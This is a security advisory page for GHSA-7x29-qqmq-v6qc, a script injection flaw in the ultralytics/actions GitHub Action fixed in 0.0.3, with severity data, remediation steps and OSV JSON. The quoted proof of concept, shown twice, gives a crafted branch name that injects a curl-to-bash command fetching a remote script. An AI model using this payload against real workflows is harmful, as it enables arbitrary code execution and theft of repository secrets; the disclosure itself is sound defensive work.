GHSA-7x29-qqmq-v6qc: Ultralytics/actions GitHub Actions Script Injection Vulnerability

HIGH
CVSS 9.3
CWE-94
Published
Advisory Summary

GHSA-7x29-qqmq-v6qc is a HIGH (CVSS 9.3) github actions script injection vulnerability (CWE-94: Improper Control of Generation of Code ('Code Injection')) affecting Ultralytics/actions libraries in the GitHub Actions ecosystem. The issue involves github actions script injection in `ultralytics/actions`. Remediation is available by upgrading affected packages to version 0.0.3.

GHSA-7x29-qqmq-v6qc at a Glance

CVE Identifier N/A
GHSA Identifier GHSA-7x29-qqmq-v6qc
Severity HIGH
CVSS v3.1 Base Score 9.3
CWE Classification CWE-94: Improper Control of Generation of Code ('Code Injection')
Affected Product Ultralytics/actions
Package Ecosystem GitHub Actions
Published Date
Last Updated

Security Impact

CVSS: 9.3

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:H/A:N).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Changed (S:C)
Confidentiality Low (C:L)
Integrity High (I:H)
Availability None (A:N)

How to Fix GHSA-7x29-qqmq-v6qc

To remediate this vulnerability, upgrade all affected Ultralytics/actions dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

ultralytics/actions fixed: 0.0.3
Upgrade ultralytics/actions to 0.0.3
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for ultralytics/actions

How to Check if You Are Affected

To determine whether your application is affected by GHSA-7x29-qqmq-v6qc, inspect your project dependencies for Ultralytics/actions:

inspect dependencies for ultralytics/actions

Analyze the terminal output to locate any version of Ultralytics/actions in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 0.0.3), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-94: Improper Control of Generation of Code ('Code Injection'), where the product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment. In Ultralytics/actions, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary The Ultralytics action available at https://github.com/marketplace/actions/ultralytics-actions is vulnerable to GitHub Actions script injection. If anyone uses the action within a workflow that runs on the `pull_request_target` trigger, then an attacker can inject arbitrary code into that workflow using a crafted branch name. ### Details The issue exists because the `action.yml` is a composite action and uses certain fields by GitHub context expression within a `run` step: ``` echo "github.event.pull_request.head.ref: ${{ github.event.pull_request.head.ref }}" echo "github.ref: ${{ github.ref }}" echo "github.head_ref: ${{ github.head_ref }}" echo "github.base_ref: ${{ github.base_ref }}" ``` In this case, `github.head_ref` and `github.event.pull_request.head.ref` are user controlled and can be used to inject code. ### PoC 1. Create a fork of any repository that uses `ultralytics/actions` within a workflow that runs on `pull_request_target`. 2. In the fork create a branch as an injection payload, e.g.: `Hacked";{curl,-sSfL,gist.githubusercontent.com/RampagingSloth/6dc549d083b2da1a54d22cc4feac53a4/raw/4b7499772c53085aeedf459d822aee277b5f17a0/poc.sh}${IFS}|${IFS}bash` 3. Create a draft pull request. 4. If the action is reachable, then achieve arbitrary code execution. ![ultra_cve_poc](https://github.com/ultralytics/actions/assets/2006441/b865a54c-38b5-451c-8e93-c497ad6874a2) See my full POC here (https://github.com/AdnaneKhan/Ultralytics_POC/actions/runs/9733997201 and https://github.com/AdnaneKhan/Ultralytics_POC), where I created a test workflow that used the action and achieved arbitrary execution using another account by creating a pull request from a fork. ### Impact Any workflow that uses the action and runs on `pull_request_target` is vulnerable to arbitrary code execution within the context of the base branch. An attacker can use this to abuse the `GITHUB_TOKEN` or steal secrets from the workflow. ### Fix Sanitize the user-controlled variables using environment vars.

GHSA-7x29-qqmq-v6qc Affected Ultralytics/actions Versions

1 component(s)
Fixed Versions:
0.0.3
Product / Package Ecosystem Affected Versions Fixed Version
ultralytics/actions
GitHub Actions
< 0.0.3
0.0.3

References

Frequently Asked Questions

What is GHSA-7x29-qqmq-v6qc?
GHSA-7x29-qqmq-v6qc is a security vulnerability in Ultralytics/actions involving GitHub Actions Script Injection in `ultralytics/actions` under CWE-94: Improper Control of Generation of Code ('Code Injection').
Which Ultralytics/actions versions are affected?
Affected versions include releases prior to 0.0.3 across affected packages: ultralytics/actions.
What version fixes GHSA-7x29-qqmq-v6qc?
Upgrading to 0.0.3 (or the latest patched release for your respective branch) resolves the vulnerability.
Is ultralytics/actions affected?
Yes, ultralytics/actions is affected in releases prior to 0.0.3. Upgrade your dependency to 0.0.3 or later.
What is the CVSS score of GHSA-7x29-qqmq-v6qc?
GHSA-7x29-qqmq-v6qc has a CVSS v3.1 base score of 9.3 (HIGH) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:H/A:N.
What CWE is associated with GHSA-7x29-qqmq-v6qc?
GHSA-7x29-qqmq-v6qc is classified under CWE-94: Improper Control of Generation of Code ('Code Injection') (The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment.).
How can I check GitHub Actions dependencies for GHSA-7x29-qqmq-v6qc?
Run the dependency tree command: 'inspect dependencies for ultralytics/actions'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-7x29-qqmq-v6qc",
  "modified" : "2024-11-18T16:27:04Z",
  "published" : "2024-08-14T20:53:47Z",
  "aliases" : [ ],
  "summary" : "GitHub Actions Script Injection in `ultralytics/actions`",
  "details" : "### Summary\n\nThe Ultralytics action available at https://github.com/marketplace/actions/ultralytics-actions is vulnerable to GitHub Actions script injection. If anyone uses the action within a workflow that runs on the `pull_request_target` trigger, then an attacker can inject arbitrary code into that workflow using a crafted branch name.\n\n### Details\n\nThe issue exists because the `action.yml` is a composite action and uses certain fields by GitHub context expression within a `run` step:\n\n```\n        echo \"github.event.pull_request.head.ref: ${{ github.event.pull_request.head.ref }}\"\n        echo \"github.ref: ${{ github.ref }}\"\n        echo \"github.head_ref: ${{ github.head_ref }}\"\n        echo \"github.base_ref: ${{ github.base_ref }}\"\n```\n\nIn this case, `github.head_ref` and `github.event.pull_request.head.ref` are user controlled and can be used to inject code.\n\n### PoC\n\n1. Create a fork of any repository that uses `ultralytics/actions` within a workflow that runs on `pull_request_target`.\n2. In the fork create a branch as an injection payload, e.g.: `Hacked\";{curl,-sSfL,gist.githubusercontent.com/RampagingSloth/6dc549d083b2da1a54d22cc4feac53a4/raw/4b7499772c53085aeedf459d822aee277b5f17a0/poc.sh}${IFS}|${IFS}bash`\n\n3. Create a draft pull request.\n4. If the action is reachable, then achieve arbitrary code execution.\n\n![ultra_cve_poc](https://github.com/ultralytics/actions/assets/2006441/b865a54c-38b5-451c-8e93-c497ad6874a2)\n\nSee my full POC here (https://github.com/AdnaneKhan/Ultralytics_POC/actions/runs/9733997201 and https://github.com/AdnaneKhan/Ultralytics_POC), where I created a test workflow that used the action and achieved arbitrary execution using another account by creating a pull request from a fork.\n\n### Impact\n\nAny workflow that uses the action and runs on `pull_request_target` is vulnerable to arbitrary code execution within the context of the base branch. An attacker can use this to abuse the `GITHUB_TOKEN` or steal secrets from the workflow.\n\n### Fix\n\nSanitize the user-controlled variables using environment vars.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:H/A:N"
  }, {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:L/SI:H/SA:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "GitHub Actions",
      "name" : "ultralytics/actions"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "0.0.3"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 0.0.2"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/ultralytics/actions/security/advisories/GHSA-7x29-qqmq-v6qc"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/ultralytics/actions/commit/8069e0ac4c23170f308ea6985783e64ca4a7900a"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/ultralytics/actions"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-94" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2024-08-14T20:53:47Z",
    "nvd_published_at" : null
  }
}